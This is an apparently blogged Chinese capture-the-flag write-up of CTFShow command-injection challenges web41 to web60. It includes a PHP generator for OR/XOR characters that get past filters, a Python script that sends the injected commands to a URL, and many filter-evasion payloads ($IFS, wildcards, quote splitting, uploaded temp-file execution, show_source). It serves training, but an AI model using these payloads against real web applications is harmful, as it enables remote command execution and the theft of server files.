用CTFShow例题练习命令执行web41-web60

Hello~大家好,这里是KOKO!

之前对CTFShow的命令执行类部分题目做了记录,今天我们继续做后续的题目:

简单绕过

web41

avatar

我们看一下源代码:

avatar

通过源代码我们可以发现,屏蔽了数字和字母,还屏蔽了一些其他的特殊字符。屏蔽的比较多,我们可以跑脚本来生成可用字符的集合
思路是:
所有字符(ASCII[0-255])中排除掉被过滤的,然后再判断或运算得到的字符是否为可见字符。

我们先用脚本生成可用字符的集合

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date:   2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}

//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";

        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }

        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则

我们通过源码可以发现,没有过滤或运算|,因此脚本中设置的mode为1,也就是或运算,运行此脚本。

接下来我们再利用羽师傅的脚本:

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os

os.system("php D:\\phpstudy_pro\\WWW\\rce_fuzz.php")  # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
	print("=" * 50)
	print('USER:python exp.py <url>')
	print("eg:  python exp.py http://ctf.show/")
	print("=" * 50)
	exit(0)
url = argv[1]


def action(arg):
	s1 = ""
	s2 = ""
	for i in arg:
		f = open(r"D:\phpstudy_pro\WWW\rce.txt", "r")//填txt的文件位置
		while True:
			t = f.readline()
			if t == "":
				break
			if t[0] == i:
				# print(i)
				s1 += t[2:5]
				s2 += t[6:9]
				break
		f.close()
	output = "(\"" + s1 + "\"|\"" + s2 + "\")"
	return (output)


while True:
	param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
	data = {
		'c': urllib.parse.unquote(param)
	}
	r = requests.post(url, data=data)
	print("\n[*] result:\n" + r.text)

注意更改php脚本的位置和生成的rce.txt的位置,还有接受的参数比如上面是c,换个参数就把c改了就行,再配置一下php的环境变量即可。
完整流程为:

先改一下php脚本中generate函数里的参数,也就是设置模式和正则
python rce_.py url

另外,也可以在bp里发送,去掉分号,即可得到flag:

avatar

先进行重定向,再绕过

web42

avatar

继续进行过滤绕过。
打开环境:

avatar

> 代表重定向到哪里
/dev/null 代表空设备文件
2> 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
1 表示stdout标准输出,系统默认值是1,所以>/dev/null等同于 1>/dev/null
因此,>/dev/null 2>&1 也可以写成1> /dev/null 2> &1

本题语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

补充:
0表示键盘输入,1表示屏幕输出,2表示错误输出!
‘ > ’ 默认标准输出重定向,与1>相同
2>&1 意思是把标准错误输出重定向到标准输出
&>file 意思是把标准输出和标准错误输出都重定向到文件file中

而我们想要得到输出可以加上截断语句:

?c=cat flag.php%0a
?c=cat flag.php||
?c=cat flag.php%26
?c=cat flag.php%26%26
?c=cat flag.php;

然后查看源代码即可得到flag:

avatar

web43

avatar

打开环境:

avatar

这次还过滤了cat;,因此我们可以用nl来绕过:

?c=nl flag.php%0a

然后再查看源码,即可得到flag:
avatar

web44

avatar

打开环境后分析代码:

avatar

这次又过滤了flag字符串,我们可以用*补位从而绕过:

?c=nl fla*.php%0a

查看源码,即可得到flag:
avatar

web45

avatar

我们打开环境后对代码进行分析:

avatar

本题的过滤条件:;catflag空格

我们可以用$IFS来绕过空格:

?c=echo$IFS`tac$IFS*`%0A

该语句不需要查看源码即可得到flag:
avatar

web46

avatar

我们可以看到代码:

avatar

过滤条件: catflag空格数字$*
绕过空格现在不能用$IFS绕过,但是可以用<>%09绕过(注意<和?不能连用,而%09不被过滤是因为上传到服务器就是tab键,不算数字)

因此payload为:

?c=nl<fla''g.php||

查看源码即可得到flag:
avatar

web47

avatar

分析代码:

avatar

过滤条件:分号flag空格数字$*morelessheadsorttail

绕过了,但是又好像没绕,上一题的payload也适用于这题:

?c=nl<fla''g.php||

查看源码即可得到flag:
avatar

web48

avatar

分析代码:

avatar
本题的绕过,使用上题的payload即可:

?c=nl<fla''g.php||

查看源码即可得到flag:
avatar

web49

![avatar][base64str25]

分析代码:
![avatar][base64str26]
本题的绕过,同样使用上题的payload即可:

?c=nl<fla''g.php||

查看源码即可得到flag:
![avatar][base64str27]

web50

![avatar][base64str28]

分析代码:

![avatar][base64str29]

过滤条件:分号catflag空格数字$*morelessheadsorttailsedcutawkstringsodcurl%%09&(编码后为%26)和/`

本题的绕过,同样使用上题的payload即可:

?c=nl<fla''g.php||

查看源码即可得到flag:
![avatar][base64str30]

web51

![avatar][base64str31]

分析代码:

![avatar][base64str32]
本题的绕过,同样使用上题的payload即可:

?c=nl<fla''g.php||

查看源码即可得到flag:
![avatar][base64str33]

web52

![avatar][base64str34]

分析代码:

![avatar][base64str35]

这次多过滤了空格,因此我们将上题的payload中的空格,用&IFS替换即可绕过:

?c=nl$IFS/fla''g||

即可得到flag:
![avatar][base64str36]

web53

![avatar][base64str37]

分析代码:

![avatar][base64str38]

本题如果还用上题的payload发现无法成功得到flag,那我们将cat语句进行加工后实现:

?c=c''at${IFS}fla''g.p''hp

即可得到flag:
![avatar][base64str39]

web54

![avatar][base64str40]

分析代码:

![avatar][base64str41]

加强了正则,不能用*代替,构造payload:

?c=/bin/?at${IFS}f???????

查看源码,即可得到flag:

![avatar][base64str42]

web55

![avatar][base64str43]

分析代码:
![avatar][base64str44]

我们可以构造payload:

?c=/???/????64 ????????%0a

传参后会出现一大串编码,进行base64解码即可得到flag:
![avatar][base64str45]

web56

![avatar][base64str46]

分析代码:
![avatar][base64str47]

这次将字母数字都过滤了。
因为只有PHP生成的临时文件包含大写字母,所以可以用/???/????????[@-[]来匹配我们上传的临时文件。

原理:
翻开ASCII码表,可见大写字母位于@[之间,那么,我们可以利用[@-[]来表示大写字母。并且我们用. 执行文件不需要x权限,由此我们可以构造出上述的payload。

因此抓包后修改数据包即可得到flag:
![avatar][base64str48]

web57

![avatar][base64str49]

分析代码:

![avatar][base64str50]

提示告诉我们flag在36.php里,但是却把数字过滤了。
我们需要想办法构造出36
$(()) :代表做一次运算,因为里面为空,也表示值为0
$ ((~ $ (()))) :对0作取反运算,值为-1
$ (( $ ((~ $ (()))) $ ((~ $ (()))))): -1-1,也就是(-1)+(-1)为-2,所以值为-2
$ ((~ $ (( $ ((~ $ (()))) $ ((~ $ (()))))))) :再对-2做一次取反得到1,所以值为1
故我们在$(())里面放37个$((~$(()))),得到-37,取反即可得到36:

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

查看源码即可得到flag:
![avatar][base64str51]

突破禁用函数

web58

![avatar][base64str52]

分析代码:
![avatar][base64str53]

由题目可知,本题有设置禁用函数,但根据代码我们还不清楚禁用了哪些函数,因此我们先随便用一个函数访问试一下:system()
system() has been disabled for security reasons说明php.ini配置中默认禁用了执行系统外部命令函数,我们可以用php内置函数来读取文件。
本题我们使用show_source()函数:

POST: c=show_source("flag.php");

传参后即可得到flag:
![avatar][base64str54]

web59

![avatar][base64str55]

分析代码:
![avatar][base64str56]

与上题一样,用show_source函数即可得到flag:

POST:c=show_source('flag.php');

![avatar][base64str57]

web60

![avatar][base64str58]

分析代码:
![avatar][base64str59]

与上题一样,用show_source函数即可得到flag:

POST:c=show_source('flag.php');

![avatar][base64str60]

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值